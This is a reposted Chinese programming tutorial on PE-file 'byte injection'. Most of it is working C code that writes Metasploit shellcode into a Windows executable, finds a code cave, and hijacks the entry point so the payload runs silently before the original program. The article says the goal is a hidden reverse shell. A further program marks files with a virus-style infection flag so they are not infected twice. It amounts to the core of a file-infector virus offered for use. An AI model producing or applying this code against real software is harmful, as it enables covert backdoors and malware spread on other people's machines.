2.12 PE结构:实现PE字节注入

这篇具有很好参考价值的文章主要介绍了2.12 PE结构:实现PE字节注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

本章笔者将介绍一种通过Metasploit生成ShellCode并将其注入到特定PE文件内的Shell注入技术。该技术能够劫持原始PE文件的入口地址,在PE程序运行之前执行ShellCode反弹,执行后挂入后台并继续运行原始程序,实现了一种隐蔽的Shell访问。而我把这种技术叫做字节注入反弹。

字节注入功能调用WritePEShellCode函数,该函数的主要作用是接受用户传入的一个文件位置,并可以将一段通过Metasploit工具生成的有效载荷注入到特定文件偏移位置处。

读者在使用该函数之前需要通过WinHex找到注入位置,我们以如下截图中的30352为例;

2.12 PE结构:实现PE字节注入

接着读者需要自行准备一段ShellCode代码,只保留代码部分去掉头部变量参数,如下所示;

2.12 PE结构:实现PE字节注入

接着我们使用如下这段代码中的WritePEShellCode函数,通过传入指定PE文件路径,指定文件便宜,以及指定的ShellCode文件路径,即可自动将其压缩为一行并在压缩后将代码写出到指定的可执行文件内。

// 将ShellCode写出到PE程序的特定位置
// 参数1: 指定PE路径 参数2: 指定文件中的偏移(十进制) 参数3: 指定ShellCode文件
void WritePEShellCode(const char* FilePath, long FileOffset, const char* ShellCode)
{
  HANDLE hFile = NULL;
  FILE* fpointer = NULL;
  DWORD dwNum = 0;

  int count = 0;
  char shellcode[8192] = { 0 };
  unsigned char save[8192] = { 0 };

  // 打开一段ShellCode代码并处理为一行
  if ((fpointer = fopen(ShellCode, "r")) != NULL)
  {
    char ch = 0;
    for (int x = 0; (ch = fgetc(fpointer)) != EOF;)
    {
      if (ch != L'\n' && ch != L'\"' && ch != L'\\' && ch != L'x' && ch != L';')
      {
        shellcode[x++] = ch;
        count++;
      }
    }
  }
  _fcloseall();

  // 将单字节合并为双字节
  for (int x = 0; x < count / 2; x++)
  {
    unsigned int char_in_hex;
    if (shellcode[x] != 0)
    {
      sscanf(shellcode + 2 * x, "%02X", &char_in_hex);

      // 每十六字节换一行输出
      if ((x+1) % 16 == 0)
      {
        printf("0x%02X \n", char_in_hex);
      }
      else
      {
        printf("0x%02X ", char_in_hex);
      }
      save[x] = char_in_hex;
    }
  }

  // 打开PE文件并写出ShellCode到指定位置
  hFile = CreateFile(FilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (INVALID_HANDLE_VALUE != hFile)
  {
    SetFilePointer(hFile, FileOffset, NULL, FILE_BEGIN);
    bool ref = WriteFile(hFile, save, count/2 , &dwNum, NULL);
    if (true == ref)
    {
      printf("\n\n[*] 已注入 ShellCode 到PE文件 \n[+] 注入起始FOA => 0x%08X \n",FileOffset);
    }
    CloseHandle(hFile);
  }
}

我们通过传入WritePEShellCode("d://lyshark.exe", 30352, "d://shellcode.txt");参数,运行后则可将特定文本中的机器码注入到30352的位置处,读者也可以通过使用WinHex跳转到对应位置观察,如下所示;

2.12 PE结构:实现PE字节注入

当然了上述方法注入到PE文件中我们需要手动分析寻找空余块,并在注入成功后还需要自行修正PE文件内的入口地址等,这种方式适合于对PE结构非常熟悉的人可以,但也要花费一些精力去寻找分析,如下代码则是实现了自动化注入功能,该代码中FindSpace()函数用于从代码节的末尾开始搜索,寻找特定长度的空余位置,当找到合适的缝隙后便返回缝隙首地址。

此时dwOep变量内存储的是该程序原始的OEP入口位置,接着将入口地址赋值到*(DWORD *)&shellcode[5]也就是放入到shellcode机器码的第六个位置处,此处将变更为跳转到原始入口的指令集,接着调用memcpy函数将shellcode代码拷贝到新分配的dwAddr内存中,此处的strlen(shellcode) + 3代表的是ShellCode中剩余的\xff\xe0\x00部分,最后将当前EIP指针设置为我们自己的ShellCode所在位置,通过pNtHeader->OptionalHeader.AddressOfEntryPoint赋值设置此变量,至此这个注入器就算实现啦。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>

// \xb8\x90\x90\x90\x90 => mov eax,90909090
// \xff\xe0\x00 => jmp eax
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";

// 缝隙的搜索从代码节的末尾开始搜索,有利于快速搜索到缝隙
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{
  // 跳过可选头长度的数据
  PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)
    (((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));

  // 获取到文件末尾的位置
  DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
  dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;

  LPVOID lp = malloc(sizeof(shellcode));
  memset(lp, 0, sizeof(shellcode));

  while (dwAddr > pSec->Misc.VirtualSize)
  {
    int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
    if (nRet == 0)
      return dwAddr;
    dwAddr--;
  }
  free(lp);
  return 0;
}

int main(int argc, char* argv[])
{
  HANDLE hFile, hMap = NULL;
  LPVOID lpBase = NULL;

  hFile = CreateFile(L"d://lyshark.exe", GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
  lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);

  PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
  PIMAGE_NT_HEADERS pNtHeader = NULL;
  PIMAGE_SECTION_HEADER pSec = NULL;
  IMAGE_SECTION_HEADER imgSec = { 0 };

  if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  {
    printf("[-] 文件非可执行文件 \n");
    return -1;
  }
  pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);

  // 查找空余字节
  DWORD dwAddr = FindSpace(lpBase, pNtHeader);
  printf("[*] 找到 %d 字节 | 起始地址: %X \n", sizeof(shellcode), dwAddr);

  // 获取到原入口地址
  DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;

  // \xb8 => 填充的就是原始程序的OEP
  *(DWORD *)&shellcode[5] = dwOep;
  printf("[-] 原始入口地址: 0x%08X \n", dwOep);

  // 将shellcode 拷贝到dwAddr内存空间里,拷贝长度strlen(shellcode) + 3
  memcpy((char *)dwAddr, shellcode, strlen(shellcode) + 3);
  dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;
  printf("[-] 拷贝内存长度: 0x%08X \n", dwAddr);

  // 将新的入口地址,赋值给原始程序的地址上
  pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;
  printf("[+] 修正新入口地址: 0x%08X \n", pNtHeader->OptionalHeader.ImageBase + dwAddr);

  UnmapViewOfFile(lpBase);
  CloseHandle(hMap);
  CloseHandle(hFile);

  system("pause");
  return 0;
}

读者可自行编译并运行上述代码,当运行结束后会将ShellCode全局变量中的指令集,写入到lyshark.exe程序内,并修正当前程序的OEP入口处,此时读者可运行lyshark.exe程序,看是否能够正常执行起来,如下图所示;

2.12 PE结构:实现PE字节注入

此时读者可自行打开x64dbg调试器,观察此时的程序入口处已经变成了0x47BFF3执行到最后则通过jmp eax跳转到了原始的程序入口处继续执行,这也就是空字节注入的功能,当读者自己将nop指令替换为任意特殊的汇编指令时,也就实现了一款注入Shell版本的软件。

2.12 PE结构:实现PE字节注入

当我们对特定的程序插入Shell后,则还需要对该程序增加一个标志,在PE结构中有许多地方可以写入这个标志,例如DOS头部存在一个e_cblp变量,通过向该变量写入一个标志,当需要判断是否被感染时读取此处并检查是否存在特定值即可,如下代码则是一个检查实现方式。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>

#define VIRUSFLAGS 0xCCCC

// 向指定文件写入感染标志
BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
  DWORD dwNum = 0;
  SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
  WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, NULL);
  return TRUE;
}

// 检查文件是否被感染
BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
  DWORD dwSigNum = 0;
  DWORD dwNum = 0;
  SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
  ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, NULL);

  if (dwSigNum == dwSig)
    return TRUE;
  return FALSE;
}

int main(int argc, char* argv[])
{
  HANDLE hFile, hMap = NULL;
  LPVOID lpBase = NULL;

  hFile = CreateFileA("d://lyshark.exe", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
  lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);

  PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
  PIMAGE_NT_HEADERS pNtHeader = NULL;
  PIMAGE_SECTION_HEADER pSec = NULL;
  IMAGE_SECTION_HEADER imgSec = { 0 };

  if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  {
    printf("[-] 文件非可执行文件 \n");
    return -1;
  }

  pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);

  // 写入感染标志
  WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile);

  // 返回真说明感染过
  if (CheckSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile))
  {
    printf("[+] 文件已被感染,无法重复感染. \n");
  }

  system("pause");
  return 0;
}

由于e_cblp是第二个字段,所以在填充后我们打开WinHex就可以看到变化,如下图所示;

2.12 PE结构:实现PE字节注入文章来源地址https://www.toymoban.com/news/detail-705886.html

到了这里,关于2.12 PE结构:实现PE字节注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 怎么在Windows WSL上利用GPU运行tensorflow 2.12

    背景 1. 在window上安装WSL 2. 再WSL上安装miniconda。 3. 创建conda环境 4. 设置GPU 5.  安装tensorflow 2.12 6. 在Pycharm里运行你的GPU Tensorflow 2.12代码 从tensorflow 2.10开始,已经没有tensorflow-gpu相应的版本在Window GPU运行了,只能通过在window上安装WSL2,在wsl2里运行tensorflow的方式调用GPU.当然你

    2024年02月17日
    浏览(40)
  • KAFKA (2.12-2.2.1)常用命令和kafka tool 工具使用

    KAFKA (2.12-2.2.1)常用命令 #集群地址以逗号分隔如 ip1:9092, ip2:9092, ip3:9092 ./kafka-topics.sh --list --bootstrap-server ip:9092 ./kafka-topics.sh --bootstrap-server ip:9092 --create --topic demo0218 --partitions 1 --replication-factor 1 查看某个topic ./kafka-topics.sh --bootstrap-server ip:9092 --describe --topic demo0218 #修改demo0218分

    2024年02月03日
    浏览(35)
  • 【QT开发笔记-基础篇】| 第二章 常用控件 | 2.12 表格控件 QTableWidget

    【QT开发笔记-基础篇】| 第二章 常用控件 | 2.12 表格控件 QTableWidget(1) QTableWidget 是 Qt 中的表格控件,可以行列的形式来展示数据 QTableWidget 有很多属性和方法,完整的可查看帮助文档。 在窗口上放置一个 QTableWidget 控件后,既可以在设计师 UI 界面来编辑属性和添加数据,也

    2024年02月12日
    浏览(50)
  • tensorflow1 tensorflow 2 安装配置(cpu+gpu)windows+linux 新版2.12+

    tensorflow1和2的安装部署,演示2.14版本(最新是2.15版本) windows和linux用法一致,我是在win10和ubuntu2204下都手动测试过的 本文使用的conda的方式,2023年12月10日更新 如果中间有任何报错,参考最后一节的处理 链接:tensorflow官网 注意:如果因为网络问题出现错误或卡住,多次尝

    2024年02月12日
    浏览(43)
  • kafka_2.12-2.3.1 自带zookeeper 关闭四字命令 添加Acl IP白名单

    一、关闭四字命令 1、启动zk的命令: ./bin/zookeeper-server-stop.sh 2、修改zookeeper配置文件 关闭4字命令 [root@xxx-189  kafka]# vi conf/zookeeper.properties # 关闭4字命令 4lw.commands.whitelist= 3、 启动zookeeper  ./bin/zookeeper-server-start.sh -daemon config/zookeeper.properties 二、zookeeper设置ACL IP白名单 1、连

    2024年02月13日
    浏览(40)
  • SQL注入实战:宽字节注入

    一、宽字节概率 1、单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII编码(0-127) 2、多字节字符集:在多字节字符集中,一部分字符用多个字节来表示,另一部分字符(可能没有)用 单个字节来表示。 3、宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两

    2024年01月22日
    浏览(32)
  • 【网络安全】SQL注入--宽字节注入

    宽字节注入,在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。 一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不 对,也可以导致 SQL 防注入绕过,达到注入的目的。如果数据库设置宽字节字 符集 gbk 会导致宽字节注入,从而逃逸 gpc 前提

    2023年04月13日
    浏览(61)
  • PE解释器之PE文件结构(二)

    接下来的内容是对IMAGE_OPTIONAL_HEADER32中的最后一个成员DataDirectory,虽然他只是一个结构体数组,每个结构体的大小也不过是个字节,但是它却是PE文件中最重要的成员。PE装载器通过查看它才能准确的找到某个函数或某个资源。 一:IMAGE_DATA_DIRECTORY——数据目录结构 此数据目

    2024年01月20日
    浏览(49)
  • 渗透测试-SQL注入之宽字节注入

    宽字节是相对于ascII这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节。GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节。 转义函数:为了过滤用户输入的一些数据,

    2023年04月08日
    浏览(31)
  • Python教程(12)——Python数据结构集合set介绍

    集合是一种无序、可变的数据结构,它也是一种变量类型,集合用于存储唯一的元素。集合中的元素不能重复,并且没有固定的顺序。在Python 提供了内置的 set 类型来表示集合,所以 set 就是集合的意思。 你可以使用大括号 {} 或者 set() 函数来创建一个集合。 需要注意

    2024年02月10日
    浏览(33)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包